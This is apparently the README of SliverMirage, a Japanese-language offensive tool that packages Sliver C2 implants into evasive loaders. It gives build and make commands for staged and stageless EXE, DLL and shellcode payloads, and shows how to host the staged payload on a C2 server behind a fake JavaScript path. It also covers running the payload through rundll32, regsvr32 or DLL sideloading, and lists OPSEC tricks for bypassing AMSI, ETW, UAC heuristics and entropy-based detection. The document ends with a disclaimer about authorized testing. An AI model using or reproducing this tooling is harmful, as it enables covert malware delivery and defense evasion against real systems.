SliverMirage

CrystalSliver のフォークであり、Crystal Palace PICO ローダーを拡張して、二層の AMSI バイパス、ETW の無効化、および Sliver C2 向けの 6 種類の配信バリアントを提供します。

概要

SliverMirage は、Crystal Palace PICO 仮想化を通じて Sliver インプラント DLL をラップし、amsi.dll や ntdll.dll にパッチを当てずに AMSI と ETW を無効化するローダーを介して配信します。

回避スタック:

バリアント

ステージド バリアントは、実行時に Sliver HTTPS Web サイトから暗号化された PICO をダウンロードします。EXE/DLL は小さく (~20 KB)、ディスク上にペイロードを持ちません。

ステージレス バリアントは、コンパイル時に暗号化された PICO を埋め込みます (XOR + AES の二重レイヤー)。ディスク上では大きくなりますが、ビーコンコールバック前のネットワークアクティビティはゼロです。

クイックスタート

前提条件

• x86_64-w64-mingw32-gcc (mingw-w64)
• nasm
• python3 + pefile (pip install pefile)
• openssl
• Java 17 (Crystal Palace 用 — build.sh によって自動プロビジョニングされます)

build.sh でのビルド (推奨)

ビルドスクリプトは、不足している依存関係 (Crystal Palace と Java 17 を含む) を自動プロビジョニングし、DLL -> Crystal Palace PICO -> 暗号化 -> コンパイルという完全なパイプラインを処理します。

# Staged EXE (default)
./build.sh --dll /path/to/sliver_implant.dll --host 10.0.0.1

# Stageless EXE
./build.sh --dll /path/to/sliver_implant.dll --format exe-stageless

# Stageless DLL
./build.sh --dll /path/to/sliver_implant.dll --format dll

# Staged DLL
./build.sh --dll /path/to/sliver_implant.dll --format dll-staged --host 10.0.0.1

# Shellcode (staged)
./build.sh --dll /path/to/sliver_implant.dll --format shellcode --host 10.0.0.1

# Shellcode (stageless)
./build.sh --dll /path/to/sliver_implant.dll --format shellcode-stageless

オプション:

• --dll <path> — Sliver インプラント DLL (必須)
• --host <ip> — C2 サーバー IP (ステージド形式では必須)
• --port <port> — C2 ポート (デフォルト: 443)
• --path <path> — ペイロードダウンロード用の URL パス (デフォルト: /assets/js/vendor.js)
• --format <fmt> — 出力形式 (デフォルト: exe)
• --export <name> — カスタム DLL エクスポート名

Make でのビルド (手動)

すでに Crystal Palace PICO ブロブがある場合:

# Staged EXE
make PICO=/path/to/implant.crystal.bin C2_HOST=10.0.0.1

# Stageless EXE
make exe-stageless PICO=/path/to/implant.crystal.bin

# Stageless DLL
make dll PICO=/path/to/implant.crystal.bin

# All targets
make clean

デプロイ

ステージド (EXE または DLL)

1. build/payload.dat を Sliver HTTPS Web サイトにアップロードします:

   root@kitploit:~

   sliver > websites add-content --website cover \
     --web-path /assets/js/vendor.js \
     --content-type application/javascript \
     --content build/payload.dat
   

2. build/csvchelper.exe (または .dll) をターゲットに配信します。

ステージレス

単一ファイルの配信です。C2 Web サイトのセットアップは不要です。

DLL 実行方法

rundll32 csvchelper.dll,StartW
regsvr32 /s csvchelper.dll

または、DLL サイドローディングを使用します (ターゲットアプリケーションが読み込む正当な DLL に合わせて名前を変更します)。

エクスポート: DllRegisterServer, DllUnregisterServer, StartW, VoidFunc

プロジェクト構造

SliverMirage/
  loader/                    # Crystal Palace PICO loader (from CrystalSliver)
    src/                     # Loader C sources + draugr ASM
    loader.spec              # Crystal Palace linker spec
    pico.spec                # PICO generation spec
  src/
    stager_remote.c          # Staged EXE
    stager_stageless.c       # Stageless EXE
    stager_remote_dll.c      # Staged DLL
    stager_stageless_dll.c   # Stageless DLL
    stager_debug.c           # Debug EXE (MessageBox diagnostics)
  scripts/
    gen_payload.py           # AES-256-CBC encrypt (staged)
    gen_payload_stageless.py # AES + XOR embed (stageless)
    dll_to_shellcode.py      # sRDI DLL-to-shellcode converter
  resources/
    resource.rc              # Version info (EXE)
    resource_dll.rc          # Version info (DLL)
    manifest.xml             # asInvoker manifest
  libtcg.x64.zip             # TCG library for Crystal Palace
  Makefile
  build.sh

OPSEC に関する注意点

• IAT はクリーン: kernel32, advapi32, bcrypt のみ — すべて正当な Windows API
• メモリパッチなし: AMSI/ETW バイパスはハードウェアブレークポイントを使用し、システム DLL 上の VirtualProtect ではありません
• RWX なし: ペイロードメモリは RW -> RX の順で、RWX には決してなりません
• GUI サブシステム: WinMain エントリポイント、-mwindows — コンソールが一瞬表示されない
• バージョン情報 + マニフェスト: 埋め込まれた asInvoker マニフェストが UAC ヒューリスティックを抑制します
• エントロピー制御: ステージレスペイロードは XOR ローリングキーを使用して、エントロピーを ~7.8 から ~6.0-6.5 に低減します
• ビルド前に、resource.rc / resource_dll.rc をあなたのカバーアイデンティティでカスタマイズしてください

免責事項

このプロジェクトは、許可されたセキュリティテスト、研究、教育目的のみを意図しています。ペネトレーションテストを実施するための明示的な書面による許可がある環境でのみ使用してください。コンピュータシステムへの不正アクセスは違法です。著者は、このソフトウェアの誤用について一切の責任を負いません。

クレジット

• Crystal Palace — Rasta Mouse による PICO 仮想化エンジン
• CrystalSliver — オリジナルの Crystal Palace + Sliver 統合
• sRDI — Nick Landers によるシェルコードリフレクティブ DLL インジェクション技術

ライセンス

MIT